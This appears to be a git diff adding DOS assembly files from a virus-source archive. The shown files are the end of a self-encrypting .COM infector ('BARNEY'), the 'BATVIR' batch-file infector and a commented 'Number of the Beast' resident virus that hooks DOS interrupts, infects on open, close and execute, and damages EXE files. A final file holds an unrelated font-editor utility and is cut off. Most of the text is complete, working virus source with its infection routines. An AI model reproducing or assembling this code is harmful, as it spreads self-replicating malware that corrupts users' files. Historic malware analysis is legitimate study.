je dont_infect ; .EXE, skip + + mov al,2 ; move to end of file + call move_file_ptr + + cmp dx,65279 - (VIRUS_SIZE + 3) + ja dont_infect ; too big, don't infect + + sub dx,VIRUS_SIZE + 3 ; check for previous infection + cmp dx,word ptr [bp + read_buffer + 1] + je dont_infect + + add dx,VIRUS_SIZE + 3 + mov word ptr [bp + new_jump + 1],dx + + add dx,103h + call encrypt_code ; encrypt virus + + lea dx,[bp + read_buffer] ; save original program head + int 21h + mov ah,40h ; write virus to file + mov cx,VIRUS_SIZE + lea dx,[bp + encrypt_buffer] + int 21h + + xor al,al ; back to beginning of file + call move_file_ptr + + lea dx,[bp + new_jump] + int 21h + +fix_date_time: + pop dx cx + mov ax,5701h ; restore file date/time + int 21h + + inc byte ptr [bp + infections] + +close: + pop ds dx cx ; restore attributes + call set_attributes + + mov ah,3Eh ; close file + int 21h + +cant_open: + pop si + ret + + +set_attributes: + mov ax,4301h + int 21h + ret + +dont_infect: + pop cx dx ; can't infect, skip + jmp close + +move_file_ptr: + mov ah,42h ; move file pointer + cwd + xor cx,cx + int 21h + + mov dx,ax ; set up registers + mov ah,40h + mov cx,3 + ret + +courtesy_of db '[BW]',0 +signature db 'BARNEY (c) by HypoDermic!! Part of the Mayberry Family!!!',0 + + +encrypt_code: + push ax cx + + push dx + xor ah,ah ; get time for random number + int 1Ah + + mov [bp + cipher],dx + pop cx + add cx,virus_code - virus_begin + mov [bp + code_offset],cx + push cs ; ES = CS + pop es + + lea si,[bp + virus_begin] + lea di,[bp + offset encrypt_buffer] + mov cx,virus_code - virus_begin + rep movsb + + mov cx,VIRUS_SIZE / 2 + 1 +encrypt: + lodsw ; encrypt virus code + xor ax,dx + stosw + loop encrypt + + pop cx ax + ret + + +find_me db '*.COM',0 +outer db '..',0 + +int_24: + mov al,3 ; int 24 handler + iret +new_jump db 0E9h,0,0 + +infections db 0 +virus_end: +VIRUS_SIZE equ virus_end - virus_begin +read_buffer db 28 dup (?) ; read buffer +new_DTA db 128 dup(?) +encrypt_buffer db VIRUS_SIZE dup (?) ; encryption buffer + +end_heap: + +MEM_SIZE equ end_heap - start + +code ends + end start + + +-- +Eric "Mad Dog" Kilby maddog@ccs.neu.edu +The Great Sporkeus Maximus ekilby@lynx.dac.neu.edu +Student at the Northeatstern University College of Computer Science +"I Can't Believe It's Not Butter" + diff --git a/b/BATCH.ASM b/b/BATCH.ASM new file mode 100755 index 0000000..4c20145 --- /dev/null +++ b/b/BATCH.ASM @@ -0,0 +1,237 @@ +; [BATVIR] '94 (c) 1994 Stormbringer [Phalcon/Skism] +; +; This virus is a bit cheesy, but hell.... Believe it or not, I got bored +;enough to write a direct action .BAT infector in assembly. It infects files +;by basically creating a debug script of itself, echoing it out to a file, +;then running it using debug to infect more files. I doubt anyone has +;done this in quite this manner, so.... +; +; +; +;enjoy, +;Stormbringer [P/S] + + +.model tiny +.radix 16 +.code + org 100 +start: + mov ah,4e + mov dx,offset filemask + +FindFile: + int 21 + jc NoMoreFiles + + mov dx,9e + mov ax,3d02 + int 21 + jc DoneInfect + xchg bx,ax + + mov ax,5700 + int 21 + push cx dx + + cmp dh,80 + jae AlreadyInfected + + + mov ax,4202 + xor cx,cx + xor dx,dx + int 21 + + mov si,100 + mov di,offset end_virus + mov cx,end_virus-start + push bx + call Convert2Hex + pop bx + + call InfectBat + + + pop dx + add dh,0c8 ;Add 100 years to filedate + push dx + +AlreadyInfected: + pop dx cx + mov ax,5701 + int 21 + + mov ah,3e + int 21 + +DoneInfect: + mov ah,4f + jmp FindFile + +NoMoreFiles: + mov ax,4c00 + int 21 + + +Convert2Hex: + push cx + lodsb + mov bx,ax + mov cx,4 + shr al,cl + push ax + call convert2asc + stosb + pop ax + shl al,cl + sub bl,al + xchg al,bl + call convert2asc + stosb + mov ax,' ' + stosb + pop cx + loop Convert2hex + stosb + stosb + ret + +convert2asc: + cmp al,0a + jae letter + add al,'0' + ret +letter: + add al,'A'-0a + ret + +InfectBat: + mov ah,40 + mov dx,offset startinf + mov cx,endsinf-startinf ;Write start of infection + int 21 + mov dx,offset end_virus + + DataLoop: + push dx + call calcloc + call writeecho1 + pop dx + push dx + + mov cx,di + sub cx,dx + cmp cx,60d + jb WriteData + mov cx,60d +WriteData: + mov ah,40 + int 21 + + push ax + call WriteRedirect + pop ax + + pop dx + add dx,ax + cmp dx,di + jae WriteGoExitCommands + jmp DataLoop + + +WriteGoExitCommands: + call writeecho2 + + mov ah,40 + mov dx,offset govirus + mov cx,1 + int 21 + + call WriteRedirect + call writeecho2 + + mov ah,40 + mov dx,offset govirus+1 + mov cx,1 + int 21 + + call WriteRedirect + + mov dx,offset batchender + mov cx,endbatend-batchender + mov ah,40 + int 21 + + ret + +WriteRedirect: + mov dx,offset echodest + mov cx,endvirusfile-echodest + mov ah,40 + int 21 + ret + +WriteEcho1: + mov cx,enddb-databyte + jmp short WriteEcho +WriteEcho2: + mov cx,5 +WriteEcho: + mov dx,offset databyte + mov ah,40 + int 21 + ret + + +calcloc: + push ax bx cx dx si di + sub dx,offset end_virus + mov ax,dx + mov cx,3 + xor dx,dx + div cx + mov dx,ax + add dx,100 + mov di,offset temp + mov si,offset location + xchg dh,dl + mov location,dx + mov cx,2 + call Convert2Hex + mov di,offset buffer1 + mov si,offset temp + movsw + lodsb + movsw + pop di si dx cx bx ax + ret + + +Filemask db '*.bat',0 + +govirus db 'gq' +endgovirus: + +databyte db 'echo e' +buffer1 db '0100 ' +enddb: + +echodest db ' >>' +VirusFile db 'batvir.94',0dh,0a +EndVirusFile: + +Batchender db 'debug and Remember Don't Forget to Call < +; > ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? < +; + diff --git a/b/BEAST-B (25).ASM b/b/BEAST-B (25).ASM new file mode 100755 index 0000000..a6b6929 --- /dev/null +++ b/b/BEAST-B (25).ASM @@ -0,0 +1,337 @@ +;******************************************************************************* +;* * +;* THE NUMBER OF THE BEAST VIRUS * +;* * +;* This is NOT a original virus, but a modification. Main difference * +;* between original virus is, that this release support ANY DOS version * +;* above 3.00 and below 4.00 (3.10, 3.20 and 3.30). * +;* * +;* Modification (C) were made by * +;* * +;* Kiril Stoimenov & Stephen Genchev * +;* * +;* Source was (C) commented by * +;* Waleri Todorov, CICTT, 07 Mar 1991 20:30 * +;* * +;* All Rights Reserved. * +;* * +;******************************************************************************* +;* * +;* We don't care about any damages caused by compiling and runnig * +;* of this program. Use it only at your responsible ! * +;* * +;* If you find any mistakes or inaccurates in this source or comments, * +;* please, let us know. Drop message for Waleri Todorov on Virus eXchange * +;* BBS, (+359+2) 20-41-98 or send Email to FidoNet 2:359/105.100 * +;* * +;* Waleri Todorov * +;* * +;******************************************************************************* + org 0 + + mov ah,30h ; Get DOS version + int 21h + xchg ah,al ; Swap major and minor digit + cmp ax,31Eh ; Is DOS==3.30 + mov si,7B4h ; Load offset of original int13 + jae newdos ; If 3.30+ -> Proceed + mov si,10A5h ; Load offset of original int13 + cmp al,10 ; Check for 3.10 + je newdos ; If so -> proceed + mov si,1EC9h ; Load offset of original int13 for other DOS's + newdos: mov ds,cx ; This may cause trouble, because CX + ; is NOT allways set to ZERO + mov di,0F8h ; ES:DI will point to PSP:00F8 - unused area + movsw ; Save oroginal int13 vector + movsw ; to unused area in PSP + mov si,84h ; DS:SI point to 0000:0084 - int21 vector + movsw ; Save current int21 vector + movsw ; to unused area in PSP + lds ax,dword ptr [si-4] ; Load DS:AX with current address of int21 + push es ; Save ES + push di ; Save DI + mov si,8 ; DS:SI point in current int21 handler; + mov ch,1 ; CX=100h - As I said CX is not allways set to 0 + repz cmpsw ; Check if virus v512 hold the int21 vector + push cs ; + pop ds ; Set DS to PSP + jz SkipInstall ; If virus is active -> SkipInstall + + mov ah,52h + int 21h ; Get DOS table of table address + push es ; Save segment of table + mov si,00F8h ; DS:SI point virus WITH data area in PSP + sub di,di ; This will be offset in DOS buffer + les ax,dword ptr es:[bx+12h] ; Load address of first + ; DOS buffer from table of tables + ; This is the reason why virus + ; will NOT work on DOS 4.X+ + + mov dx,es:[di+02] ; Load in DX segment of next DOS buffer + mov cx,0104h ; CX set to virus size (208h bytes) + repz movsw ; Move itself in DOS buffer + mov ds,cx ; Now CX is 0 so DS also become 0 + mov di,0016h ; This will be used for finding parent PSP + mov word ptr [di+06Eh],offset int21+8 ; Set new int21 offset + mov [di+70h],es ; Set new int21 segment + + pop ds ; Restore segment of table in DS + mov [bx+14h],dx ; Set pointer to first buffer point NEXT buffer in chain + + mov dx,cs ; DX is current PSP segment + mov ds,dx ; DS also + mov bx,[di-14h] ; Load LAST segment available + dec bh ; LastSegment-=0x0100 + mov es,bx ; ES point in transit COMMAND.COM area + cmp dx,[di] ; Compare current PSP with COMMAND's parent PSP + mov ds,[di] ; Load in DS segment of parent of COMMAND + mov dx,[di] ; Load in DX parent of parent of COMMAND + dec dx ; Decrement loaded segment + mov ds,dx ; Set DS to rezult + mov si,cx ; DS:SI point to XXXX:0000 -> Name of boot command + mov dx,di ; Save DI in DX + mov cl,28h ; Will move 80 bytes + repz movsw ; Do moving + mov ds,bx ; Set DS to transit COMMAND.COM segment + + jb RunProcess ; If current process is less than parent + ; then COMMAND strat in progress -> read original bytes + + int 20h ; Else stop. File will run from decond start + ; If this instruction will be replaced by + ; PUSH CS; POP DS file will run from first time + +SkipInstall: mov si,cx ; Set SI to 0 + mov ds,[si+02Ch] ; Load in DS segment of envirement +SearchAgain: lodsw ; Load word from envirement + dec si ; Decrement envirement pointer + test ax,ax ; Test for zero in AX + jnz SearchAgain ; If not zero -> SearchAgain + add si,3 ; Else SI+=3; Now DS:SI point to filename in env + mov dx,si ; DS:DX point to filename for open +RunProcess: mov ah,03Dh ; AH = 3D - Open file; Don't care about open mode + call CallDosGet ; Call int21 & get handle table address in DS:DI + mov dx,[di] ; Load file size in DX + mov [di+04],dx ; Set file pointer to end of file + add [di],cx ; Increase file size with 512 bytes + pop dx ; Restore file entry point (100h) to DX + ; This used for reading original bytes + ; of file at normal place + push dx ; Save entry point again + push cs ; Set ES point to virus segment + pop es ; + push cs ; Set DS point to virus segment + pop ds ; + push ds ; Save PSP segment + mov al,50h ; Push 50h. On stack is far address PSP:0050 + ; This are INT 21; RETF instructions + push ax ; Update returning address + mov ah,03Fh ; Set AH=3F - read file + retf ; Far return; Read original file + ; and return control to it +CallDosGet: int 21h ; Open file; Open procedure will go trough virus + jc ErrorOpen ; If error occur -> Skip open + mov bx,ax ; Move file pointer in BX + ; This could be XCHG AX,BX; that save 1 byte + +GetHandleAddr: push bx ; Save file handle in stack + mov ax,1220h ; Get handle's table number + int 02Fh ; Via int 2F (undocumented) + mov bl,es:[di] ; Load table number in BL + mov ax,1216h ; Get handle table ADDRESS (ES:DI) + int 02Fh ; Via int 2F (undocumented) + pop bx ; Restore file handle from stack + push es ; Set DS to point table's segment + pop ds ; + add di,11h ; DI will point file's size entry intable + mov cx,0200h ; CX set to virus size +ErrorOpen: ret +ReadClean: sti ; Disable external interrupts request + push es ; Save important registers to stack + push si + push di + push bp + push ds ; Data buffer segment + push cx ; Bytes to read + call GetHandleAddr ; Get file handle's table address in DS:DI + mov bp,cx ; Save virus size in BP + mov si,[di+04] ; Save in SI current file pointer + pop cx ; Restore bytes to be readed in CX + pop ds ; Restore buffer segment + call ReadOriginal ; Open file with original int21 + jc SkipClean ; If error while read -> skip cleaning + cmp si,bp ; Check if file pointer was in virus + jnb SkipClean ; If no -> nothing to clean + push ax ; Save readed bytes + mov al,es:[di-04] ; Load AL with file time + not al ; + and al,01Fh ; Mask seconds of file time + jnz SkipCleanPop ; If time is NOT 31 sec -> nothing to do + add si,es:[di] ; Add to current pointer file size + ; Now SI point to requested offset, + ; BUT in original file bytes + + xchg si,es:[di+04] ; Set new file pointer and save old file pointer + add es:[di],bp ; Increase file size with virus size + call ReadOriginal ; Open file via original int21 + mov es:[di+04],si ; Restor file pointer + lahf ; ??? I don't know. If you do let me know + sub es:[di],bp ; Decrease file size with virus size + sahf ; ??? I don't know. If you do let me know +SkipCleanPop: pop ax ; Restore readed bytes + +SkipClean: pop bp ; Restore saved imortant register + pop di + pop si + pop es + db 0CAh, 2, 0 ; RETF 2 + +ReadOriginal: mov ah,03Fh +CallDOS: pushf + push cs + call JumpDOS + ret +; Following few bytes are int21 handler. They check if file is open close or +; executed and clean or infect file with virus. Here there is serious problem - +; from time to time virus infect file which is NOT COM file (EXE file will be +; destroyed, by the way). +; More about this later in comments + + +int21: cmp ah,03Fh ; If function is Read file + jz ReadClean ; then go and read original bytes + + push ds ; Save important registers + push es + push ax + push bx + push cx + push dx + push si + push di + cmp ah,03Eh ; If function is Close file + jz CloseInfect ; then Close and Infect + cmp ax,04B00h ; If execute file + mov ah,03Dh ; then open file before execute + ; After opening file will be closed + ; and .... Infected + jz Infect ; +TerminateInt: pop di ; Restore important registers + pop si + pop dx + pop cx + pop bx + pop ax + pop es + pop ds +JumpDOS: jmp dword ptr cs:[0004] ; Jump to original int21 + +CloseInfect: mov ah,45h +Infect: call CallDosGet ; Duplicate file handler + jc TerminateInt ; If error -> terminate + sub ax,ax ; Set AX to 0 + mov [di+04],ax ; Set file pointer to 0 + mov byte ptr [di-0Fh],02 ; Set file open mode to Read/Write + cld + mov ds,ax ; Set DS point to interrupt table + mov si,004Ch ; SI point to int13 offset + lodsw ; Load int13 offset + push ax ; and save it in stack + lodsw ; Load int13 segment + push ax ; and save it in stack + push [si+40h] ; Save int24 offset + push [si+42h] ; Save int24 segment + lds dx,dword ptr cs:[si-50h] ; Load DS:DX with BIOS int13 + mov ax,2513h ; and set it via DOS function SetVector + int 21h ; + push cs ; Set DS point to virus segment + pop ds ; + mov dx,offset int24+8 ; Load in DX offset of int24 handler + mov al,24h ; Set int24 vector + int 21h ; via DOS function SetVector + push es ; Set DS point to handle table segment + pop ds ; + mov al,[di-04] ; Load AL with file time + +; As I said in some case virus will infect non-COM file. This may happend +; if file you work with has time set to 62 seconds. In this case virus infect +; file without checking filename. This WILL damage EXE file. DOS will treat +; this files as COM files, but usualy their size is bigger than 64K, so DOS +; cannot run it. If file is less than 64K then virus run and read original +; bytes. Usualy he DO read them, then skip control to these bytes. In EXE +; files this is EXEheader, so execution FAIL (your system CRASH) + + + and al,01Fh ; Mask seconds + cmp al,01Fh ; Check if seconds == 31 (62sec) + jz NoNameCheck ; If so -> infect with no name check + mov ax,[di+17h] ; Load AX with first 2 letters of file extension + sub ax,04F43h ; If file is NOT *.CO? + jnz SkipInfect ; SkipInfect + +NoNameCheck: xor [di-04],al ; Set file seconds to 31 (62sec) + mov ax,[di] ; Set AX to file size + cmp ax,cx ; Check file size and virus size + jb SkipInfect ; If file is less than 512 bytes -> Don't infect + add ax,cx ; Increase file size with virus size + jc SkipInfect ; If file is bigger than (65535-512) -> no infect + test byte ptr [di-0Dh],04 ; Check file attribute + jnz SkipInfect ; If SYSTEM file -> don't infect it + lds si,dword ptr [di-0Ah] ; Load DS:SI with device header + dec ax ; AX (file size with virus) -- + shr ah,1 ; AX/=2 + and ah,[si+04] ; Check if enough place in cluster behind file + jz SkipInfect ; If no place -> terminate infection + mov ax,0020h ; DS = 20 (Second part of int table) + mov ds,ax ; + sub dx,dx ; DS:DX point to virus transfer buffer + call ReadOriginal ; Open file with original int21 + mov si,dx ; Save virus buffer offset in SI + push cx ; Save virus size +LoopCheck: lodsb + cmp al,cs:[si+07] ; Compare readed data with virus code + jnz WriteFile ; If at least ONE byte different -> fuck file + loop LoopCheck ; Check all virus code with buffer + pop cx ; Restore virus size +SetFileTime: or byte ptr es:[di-04],01Fh ; Set file time to 62sec +NoUpdateTime: or byte ptr es:[di-0Bh],40h ; Set flag in device info word + + ; In case of file this is flag area. Setting bit 14 + ; as virus does, mean for DOS "Don't set file date/time when close" + ; DOS always rewrite Date/Time field of table. If bit 14 is clear (0) + ; then DOS will set current time to file. Virus should avoid this, or + ; DOS will overwrite seconds field and they (seconds) will be normal + +SkipInfect: mov ah,03Eh ; Close file + call CallDOS ; via original int21 + or byte ptr es:[di-0Ch],40h ; Set flag... See above + pop ds ; Restore original int24 + pop dx + mov ax,2524h ; via SetVector + int 21h + pop ds ; Restore original int13 + pop dx + mov al,13h ; via SetVector + int 21h + jmp TerminateInt ; All done, jump to DOS + +WriteFile: pop cx ; Restore virus size to CX + mov si,es:[di] ; Save current file size in SI + mov es:[di+04],si ; Move file pointer at the end of file + mov ah,40h ; Write to file its first 512 bytes at the end + int 21h + jc NoUpdateTime ; If error occur file time will be normal + mov es:[di],si ; Set file size to be as before (file size + ; will remain unchanged) + mov es:[di+04],dx ; Set file pointer to beginning of file + push cs ; Set DS:DX point to virus + pop ds ; + mov dl,08 ; Skip first 8 bytes of virus, because they + ; are a buffer for int handlers adresses + mov ah,40h ; Write virus at the beginning of file + int 21h ; + jmp SetFileTime ; File now OK infected, so his time must be + ; set to 62 sec + int24: iret ; int 24 handler. Avoid "Write protected error..." + db '666' ; Virus signature + \ No newline at end of file diff --git a/b/BEDTIME.ASM b/b/BEDTIME.ASM new file mode 100755 index 0000000..b62aed0 --- /dev/null +++ b/b/BEDTIME.ASM @@ -0,0 +1,1315 @@ +;---------------------------------------------------------------------- +; Fontedit - Loads the current screen font and lets you modify it. +; Saves font in a COM file with integral loader. Requires EGA or VGA. +; Syntax: FONTEDIT [filespec] +; PC Magazine September 13, 1988 +;---------------------------------------------------------------------- +_TEXT SEGMENT PUBLIC 'CODE' + ASSUME CS:_TEXT,DS:_TEXT + ASSUME ES:_TEXT,SS:_TEXT + + ORG 100H +START: JMP MAIN + +; DATA AREA +; --------- + DB CR,SPACE,SPACE,SPACE,CR,LF + +COPYRIGHT DB "FONTEDIT 1.0 (C) 1988 Ziff Communications Co. ",BOX +PROGRAMMER1 DB " PC Magazine ",BOX," Michael J. Mefford",0,CTRL_Z + +CR EQU 13 +LF EQU 10 +CTRL_Z EQU 26 +SPACE EQU 32 +BOX EQU 254 + +ESC_SCAN EQU 1 +ENTER_SCAN EQU 1CH +UP_ARROW EQU 48H +DN_ARROW EQU 50H +LEFT_ARROW EQU 4BH +RIGHT_ARROW EQU 4DH +Y_SCAN EQU 15H +BS_SCAN EQU 0EH +TAB_CHAR EQU 9 + +MAX_POINTS EQU 16 +PIXEL_OFF EQU 177 +PIXEL_ON EQU 219 +EDIT_COL EQU 32 +EDIT_ROW EQU 8 +EDIT_TOP EQU EDIT_ROW SHL 8 + EDIT_COL +TEMPLATE_TOP EQU EDIT_TOP - 28 +CHAR_TOP EQU EDIT_TOP + 28 +BOX_TOP EQU EDIT_TOP + 1 - 400H +INTENSITY EQU 1000B +MICKEY EQU 20 + +BUTTONS LABEL WORD +LEFT_BUTTON DB 0 +RIGHT_BUTTON DB 0 +SHIFT_KEYS EQU 3 +SHIFT_STATE DB ? + +HORIZONTAL DW 0 +VERTICAL DW 0 + +NORMAL EQU 07H +ATTRIBUTE DB 07H +INVERSE DB 70H +ROWS DB ? +MAX_LINES DW 16 +MOUSE_FLAG DB 0 +MODIFY_FLAG DB 0 +BLANKS DB 0,32,255 +FILE_FLAG DB 0 +FILE_HANDLE DW ? +FILENAME DW ? +LAST_PIXEL DB ? + +;format: reg,value SEQUENCER REGISTERS GRAPHICS CONTROLLER REGISTERS +; MAP MASK MEMORY MODE MODE REG MISC READ MAP SELECT +ACCESS_A000H DB 2,4, 4,7, 5,0, 6,4, 4,2 +PROTECT_A000H DB 2,3, 4,3, 5,10H, 6,0AH, 4,0 + +MENU LABEL BYTE +DB "F1 Del row F2 Ins row F3 Dup row F4 Save $" +MENU1 LABEL BYTE +DB "F5 Copy template char. Tab = select edit/char box" +DB " Use: arrow keys or mouse",CR,LF +DB "Hold Shift key or mouse button to drag. Esc to exit" +DB " Rows displayed = ",CR,LF +DB "Left button = pixel on",CR,LF +DB "Right button = pixel off",CR,LF +DB "Space bar = toggle pixel$" +MENU2 LABEL BYTE +DB "Enter = select char.",0 +DB "Button = select char.",0 +DB "PgUp/PgDn prev./next char.",0 + +CAPTIONS DW TEMPLATE_TOP - 2 + DB "Template Char",0 + DW EDIT_TOP - 2 + DB " Edit Char",0 + DW CHAR_TOP - 2 + DB "Character Set",0 + +CURRENT_BOX DB 218, 5 DUP (196), 194, 5 DUP (196), 191 + DB 179, 5 DUP (SPACE), 179, 5 DUP (SPACE), 179 + DB 192, 5 DUP (196), 193, 5 DUP (196), 217 + +NOT_ENOUGH DB "Not enough memory$" +NOT_SUPPORTED DB "Font too tall$" +NOT_EGA_VGA DB "Ega/Vga not found$" +SAVE_MSG DB CR,LF,"Save ",0 +FILE_MSG DB "file",0 +CREATE_MSG DB CR,LF,"Create ",0 +EXIST_MSG DB CR,LF,"Write over existing ",0 +YES_NO DB "? Y/N",0 +FAILED_MSG DB CR,LF,"Failed$" +FILENAME_MSG DB CR,LF,"Enter filename",CR,LF,"$" +NOT_FONT_MSG DB " not font$" +COM DB ".COM",0 +WARNING_MSG DB LF,"Warning! The cursor row will be deleted in" + DB " EVERY character in this font.",CR,LF,"Continue$" + +DISPATCH_KEY DB 1, 4BH, 4DH, 48H, 50H, 49H + DB 51H, 0FH, 39H, 1CH, 3BH, 53H + DB 3CH, 52H, 3DH, 3EH, 3FH +DISPATCH_CNT EQU $ - DISPATCH_KEY + +DISPATCH_TABLE DW EXIT, LEFT, RIGHT, UP, DOWN, PGUP + DW PGDN, TAB, SPACE_BAR, ENTER, DEL_ROW, DEL_ROW + DW INS_ROW, INS_ROW, DUP_ROW, SAVE, COPY_TEMP +DISPATCH_END EQU $ - 2 + +; CODE AREA +; --------- +MAIN PROC NEAR + + CLD ;All string operations forward. + + MOV BX,1024 ;Allocate 1024 paragraphs; 16K. + MOV AH,4AH + INT 21H + MOV DX,OFFSET NOT_ENOUGH ;Exit with message if not enough. + JC ERROR_MSG + + MOV AX,500H ;Make sure zero video page. + INT 10H + + MOV AX,40H ;Point to BIOS data area. + MOV ES,AX + + MOV AX,1A00H ;Get display info. + INT 10H + CMP AL,1AH ;Function supported? + JNZ CK_EGA ;If no, not VGA; check EGA. + CMP BL,7 ;Else, monochrome VGA? + JZ GET_CRT_MODE ;If yes, OK. + CMP BL,8 ;Else, color VGA? + JZ GET_CRT_MODE ;If yes, OK. + +CK_EGA: MOV MAX_LINES,14 ;Else, use 14 max lines for EGA. + MOV BL,10H ;Get EGA information. + MOV AH,12H + INT 10H + MOV DX,OFFSET NOT_EGA_VGA + CMP BL,10H ;Is there an EGA? + JZ ERROR_MSG ;If no, exit with message. + TEST ES:BYTE PTR [87H],8 ;Is EGA active? + JNZ ERROR_MSG ;If no, exit with message. + +GET_CRT_MODE: MOV BL,ES:[49H] ;Retrieve CRT_MODE. + CALL INFORMATION ;Get font information. + MOV DX,OFFSET NOT_SUPPORTED + CMP CX,MAX_POINTS ;Font greater than 16 points? + JBE CK_MODE ;If no, OK. + +ERROR_MSG: CALL PRINT_STRING ;Print error message. +ERROR_EXIT: MOV AL,1 ;ERRORLEVEL = 1 + JMP TERMINATE ;Exit. + +CK_MODE: CMP BL,7 ;CRT_MODE mono? + JZ SAVE_MODE ;If yes, skip. + MOV BYTE PTR PROTECT_A000H + 7,0EH ;Else, change parameter. + CMP BL,2 ;Is mode BW80? + JZ SAVE_MODE ;If yes, defaults. + MOV ATTRIBUTE,17H ;Else, use color attributes. + MOV INVERSE,71H + CMP BL,3 ;Are we in CO80? + JZ SAVE_MODE ;If yes, done here. + MOV AX,3 ;Else, change to CO80. + INT 10H + MOV BL,3 + +SAVE_MODE: MOV CRT_MODE,BL ;Save CRT_MODE in loader. + CALL SETUP ;Setup the display. + +;************************** MAIN LOOP **************************; +; User input dispatcher. AH = ASCII character; AL = Scan Code. ; +;***************************************************************; + +INPUT: CALL HIDE_CURSOR ;Park cursor off screen. + CALL GET_INPUT ;Get some input from user. + CMP BUTTONS,0 ;Was a mouse button pressed? + JZ CK_ASCII ;If no, check keyboard input. + CALL BUTTON_PRESS ;Else, process button press. + JMP SHORT INPUT ;Next input. + +CK_ASCII: OR AL,AL ;Scan code zero? + JZ ALT_INPUT ;If yes, ALT keypad entry. + MOV DI,OFFSET DISPATCH_KEY ;Else, check dispatch table. + MOV CX,DISPATCH_CNT + REPNZ SCASB + JNZ ALT_INPUT ;If no match, keyboard char. + SHL CX,1 ;Else, look up subroutine + MOV DI,OFFSET DISPATCH_END + SUB DI,CX + CALL [DI] ; and process command. + JMP SHORT INPUT ;Next input. + +ALT_INPUT: OR AH,AH ;ASCII zero? + JZ INPUT ;If yes, skip. + MOV EDIT_CHAR,AH ;Else, store as new character. + CALL SETUP_END ;Display new edit character. + JMP SHORT INPUT ;Next input. + +;---------------------------------------------------; +; Exit. If font was modified, prompt user to save. ; +;---------------------------------------------------; + +EXIT: CALL CLS ;Clear the screen. + CMP MODIFY_FLAG,1 ;Font modified? + JNZ GOOD_EXIT ;If no, return to DOS. + MOV SI,OFFSET FILE_MSG + CMP FILE_FLAG,1 ;If there a filename? + JZ DO_FILE ;If yes, display it. + MOV FILENAME,SI ;Else, display "file". +DO_FILE: MOV SI,OFFSET SAVE_MSG + CALL PROMPT ;Prompt user to save. + JNZ GOOD_EXIT ;If "Y"es not pressed, exit. + CMP FILE_FLAG,1 ;Else, is there a filename? + JZ DO_SAVE ;If yes, save it. + CALL GET_NAME ;Else, get a filename. + JC GOOD_EXIT ;If aborted, exit. + +DO_SAVE: CALL SAVE_FILE ;Save the font COM file. + +GOOD_EXIT: CALL CLS ;Clear the screen. + XOR AL,AL ;ERRORLEVEL zero. +TERMINATE: MOV AH,4CH ;Return to DOS. + INT 21H + +MAIN ENDP + +; *************** +; * SUBROUTINES * +; *************** + +;-------------------------------------------------------------; +; What follows is the user input command processing routines. ; +;-------------------------------------------------------------; + +BUTTON_PRESS: CALL GET_CURSOR ;Is cursor in character box? + JNZ DO_ENTER ;If yes, process as if Enter. + CMP LEFT_BUTTON,0 ;Else, left button press + JZ TURN_OFF ; will turn on pixel. + CALL GET_PIXEL ;Get the pixel. + OR [DI],AH ;Turn it on. + JMP SHORT BUTTON_END + +TURN_OFF: CALL GET_PIXEL ;Right button will turn off pixel + XOR AH,0FFH ;Invert bit mask. + AND [DI],AH ;Turn it off. + +BUTTON_END: CALL UPDATE_CURSOR ;Update the cursor. + CALL LOAD_CHAR ;Load the character. + RET + +;--------------------------------; + +ENTER: CALL GET_CURSOR ;Is cursor in character box? + JZ ENTER_END ;If no, ignore. +DO_ENTER: CALL GET_CHAR ;Else, get the highlighted char. + MOV EDIT_CHAR,AL ;Store it as new edit char. + CALL NEW_CHAR ;Display the edit character. +ENTER_END: RET + +;--------------------------------; + +LEFT: MOV BP,0FFH ;Movement = 0 rows; -1 cols. + JMP SHORT ARROWS + +RIGHT: MOV BP,1 ;Movement = 0 rows; +1 cols. + JMP SHORT ARROWS + +UP: MOV BP,0FF00H ;Movement = -1 rows; 0 cols. + JMP SHORT ARROWS + +DOWN: MOV BP,100H ;Movement = +1 rows; 0 cols. + +ARROWS: CALL RESTORE ;Restore current cursor position. + CALL GET_CURSOR ;Cursor in edit box? + MOV CX,BP + JNZ CHAR_ARROW ;If no, do character movement. + ADD CL,CL ;Else, double up col. movement. + CALL CK_BOUNDS ;Move cursor; check the boundary. + SUB AX,EDIT_TOP ;AX has position; make relative. + MOV EDIT_CURSOR,AX ;Store as new edit cursor. + MOV BH,LAST_PIXEL ;Retrieve the last pixel. + CALL GET_PIXEL ;Get pixel in new position. + CMP SHIFT_STATE,0 ;Button or Shift key depressed? + JZ UPDATE_PIXEL2 ;If no, update new cursor pos. + + OR BH,BH ;Else, was last pixel on? + JNZ BIT_ON ;If yes, drag to new position. + XOR AH,0FFH ;Else, invert mask + AND BYTE PTR [DI],AH; ; and drag pixel off. + JMP SHORT UPDATE_PIXEL1 + +BIT_ON: OR BYTE PTR [DI],AH ;Turn the pixel on. + +UPDATE_PIXEL1: CALL LOAD_CHAR ;Load the character. + +UPDATE_PIXEL2: CALL UPDATE_CURSOR ;Update the cursor display. + RET + +;--------------------------------; + +CHAR_ARROW: CALL CK_BOUNDS ;Move cursor; check the boundary. + SUB AX,CHAR_TOP ;Convert to relative position. + MOV CHAR_CURSOR,AX ;Store new character box pos. + CMP SHIFT_STATE,0 ;Button or Shift key depressed? + JZ CHAR_END ;If no, done here. +NEW_CHAR: CALL GET_CHAR ;Else, get the character + MOV EDIT_CHAR,AL ; and use as new edit character. + CALL DISPLAY_FONT ;Display it. + +CHAR_END: CALL UPDATE_CURSOR ;Update the cursor display. + RET + +;--------------------------------; + +PGUP: DEC EDIT_CHAR ;Next lower edit character. + JMP SHORT PAGE_END + +PGDN: INC EDIT_CHAR ;Next higher edit character. + +PAGE_END: CALL SETUP_END ;Display it. + RET + +;--------------------------------; + +TAB: CALL RESTORE ;Restore current cursor position. + XOR EDIT_FLAG,1 ;Toggle Edit/char active box. + CALL UPDATE_CURSOR ;Display cursor in new box. + RET + +;--------------------------------; + +SPACE_BAR: CALL GET_CURSOR ;Is cursor in character box? + JNZ SPACE_END ;If yes, ignore. + CALL GET_PIXEL ;Else, get the pixel. + XOR [DI],AH ;Toggle the pixel. + CALL UPDATE_PIXEL1 ;Update character and cursor. +SPACE_END: RET + +;--------------------------------; + +DEL_ROW: CALL GET_CURSOR ;Is cursor in character box? + JNZ DELETE_RETURN ;If yes, ignore. + MOV BP,POINTS ;Else, retrieve scan line points. + CMP BP,1 ;Is there only one scan line? + JZ DELETE_RETURN ;If yes, ignore. + MOV AL,AH ;Else, delete position equals + XOR AH,AH ; POINTS - relative ROW. + SUB BP,AX + + CALL CLEAR_MENU ;Clear part of the menu and + MOV DX,OFFSET WARNING_MSG ; display warning message. + CALL PRINT_STRING + CALL QUERY ;Should we delete? + JNZ DELETE_END 